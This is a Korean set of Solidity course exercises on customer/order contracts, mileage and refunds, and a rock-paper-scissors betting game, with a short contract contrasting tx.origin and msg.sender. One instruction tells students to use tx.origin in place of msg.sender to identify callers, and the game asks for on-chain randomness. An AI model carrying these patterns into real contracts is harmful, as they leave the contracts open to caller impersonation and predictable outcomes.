* 계정1을 사용하여 고객 정보 입력 -> 111, "kim", "010-2017-1111", "111 hongji-dong jongro-gu seoul"
* 계정2를 사용하여 고객 정보 입력 -> 112, "lee", "010-2017-1112", "112 hongji-dong jongro-gu seoul"
* 계정3을 사용하여 고객 정보 입력 -> 113, "lim", "010-2017-1113", "113 hongji-dong jongro-gu seoul"
* 아래 tx.origin와 msg.sender 관련 주의를 참조해서 msg.sender 대신 tx.orgin을 사용하자.

1. 모든 고객의 배송지 출력

* 계정1을 사용하여 고객 배송지 출력, "111 hongji-dong jongro-gu seoul"
* 계정2를 사용하여 고객 배송지 출력, "112 hongji-dong jongro-gu seoul"
* 계정3을 사용하여 고객 배송지 출력, "113 hongji-dong jongro-gu seoul"
* 고객배송지를 출력할 때, call({from: accounts[1]})과 같이 해당 계정 주소를 적어주고 호출한다.

1. 주문

* 주문하면서, 주문상태를 "Ordered"로 설정하고, 주문시간을 지금으로 설정한다.
* 계정1에서 주문 내역 입력 -> 555, "T-Shirt", 2, 1115
* 계정2에서 주문 내역 입력 -> 556, "T-Shirt", 3, 1116
* 계정3에서 주문 내역 입력 -> 557, "T-Shirt", 4, 1117

1. 주문 개수, 주문 금액 합계 및 잔고 출력

* 주문입력을 잘 했으면, 주문 개수 3건, 주문 금액 합계 3348, 컨트랙 잔고를 출력한다. 잘 풀었으면 컨트랙 잔고는 주문 총액과 동일하다.
* 주문ID 556으로 주문 내역 출력. 계정을 입력해서 출력하지 않는다. -> 556, "T-Shirt", "On delivery", "112 hongji-dong jongro-gu seoul"

1. 모든 고객의 주문 내역 출력

556번 주문 배송중 갱신해서 출력, 관리자만 할 수 있게 제한한다.

* 계정1에서 주문 내역 출력 -> 555, "T-Shirt", "Ordered", "111 hongji-dong jongro-gu seoul"
* 계정2에서 주문 내역 출력 -> 556, "T-Shirt", "On delivery", "112 hongji-dong jongro-gu seoul"
* 계정3에서 주문 내역 출력 -> 557, "T-Shirt", "Ordered", "113 hongji-dong jongro-gu seoul"

1. geth@8445에서 배포하고, 고객 정보 입력

* 계정1을 사용하여 고객 정보 입력 -> 111, "kim", "010-2017-1111", "111 hongji-dong jongro-gu seoul"

1. geth@8445에서 앞 문항 9)에 이어서 실행

* 계정1에서 주문 내역 입력 -> 555, "T-Shirt", 2, 1115
* 주문ID 555으로 주문 내역 출력 -> 555, "T-Shirt", "Ordered", "111 hongji-dong jongro-gu seoul"

1. 앞 문제에서 사용자별 주문은 1:1 관계로 구현하고 있다 (1:n 관계로 구현하려면 복잡해진다). 주문 id로 조회할 수 있도록 하기 위해 양방향 맵을 적용하여 구현하시오.
2. 앞 문제의 Customer, Order 컨트랙에 마일리지를 추가해서 개발하시오.

* Customer 컨트랙에 추가
  + addMileage(uint amount) 마일리지 추가 함수: 주문 금액의 1%를 마일리지로 부여
  + getMileage() 마일리지 조회 함수
* Order 컨트랙의 주문 함수가 실행되면서
  + 마일리지는 Customer 컨트랙을 통하여 설정 (주문 금액의 1%)
  + 환불 처리 함수: 상품ID에 대해 주문 상태를 "refunded"로, 주문 금액도 0으로 설정하고 마일리지도 차감하고, 그에 따라 잔고도 감해준다.

주의: 거래가 호출자U1 -> 컨트랙C1 -> 컨트랙C2의 순서대로 완성이 될 경우:

* C2에서 msg.sender는 바로 직전의 호출자C1을 말한다.
* 반면에 tx.origin은 U1의 주소를 말한다.

아래 프로그램을 보자. 주소 0x69e9a...0c102에서 Order의 getTxOriginMsgSender() 함수를 호출하면: \* Customer의 tx.origin 은 0x69e9a...0c102 (Order 컨트랙 함수호출자인 msg.sender의 주소와 동일) \* Customer의 msg.sender는 0x0b878...E7cD4, 즉 Order 컨트랙 배포 주소와 동일하다.

pragma solidity ^0.6.0;  
  
contract Customer {  
 function getTxOriginMsgSender() view public returns(address, address) {  
 return(tx.origin, msg.sender);  
 }  
}  
  
contract Order {  
 Customer c;  
 constructor() public {  
 c = new Customer();  
 }  
 function getTxOriginMsgSender() view public returns(address, address) {  
 return c.getTxOriginMsgSender();  
 }  
}

1. A, B 2인의 가위바위보 후 내기 금액을 이긴 사람에게 지급하는 게임을 블록체인에 개발하시오. 게임 컨트랙은 Rsp, 구현할 함수는 다음과 같다. 그 외 필요로 하는 함수는 추가할 수 있다.

|  |  |
| --- | --- |
| 함수 | 설명 |
| setA | 직접 입력하지 않고, 가위, 바위, 보를 무작위로 생성하여 내고 1000 wei를 내기 금액으로 건다. |
| setB | 게임 플레이어가 직접 입력하고, 1000 wei를 내기 금액으로 건다. |
| play | setA, setB 입력이 끝나고 컴퓨터가 실행하는 것으로 하고, 승패가 결정짓는다. |
| distributeBetAmount | 승패에 따라 분배한다. 승자가 패자의 내기 금액 1000 wei를 가지게 된다. |
| getMatchResult() | 누가 이겼는지 A, B 승자를 포함한 문자열 "A wins", "B wins", "tie" 결과를 출력한다. |

노드에서 게임을 다음과 같이 진행하시오.

* 게임 전의 A잔고, B잔고, 컨트랙 잔고 출력 (컨트랙 상의 잔고를 말한다)
* setA() 실행. 플레이어 A는 컴퓨터가 대행하는 것으로 하고, 내기 금액 걸고 가위바위보 중 하나를 무작위로 선택
* setB() 실행. B는 자신이 직접 내기 금액 걸고, 가위바위보 중 하나를 선택하여 입력
* play() 실행해서, 승부를 결정
* getMatchResult() 실행해서, 승부의 결과를 출력
* 게임 끝나고 A잔고, B잔고, 컨트랙 잔고 출력 (컨트랙 상의 잔고를 말한다)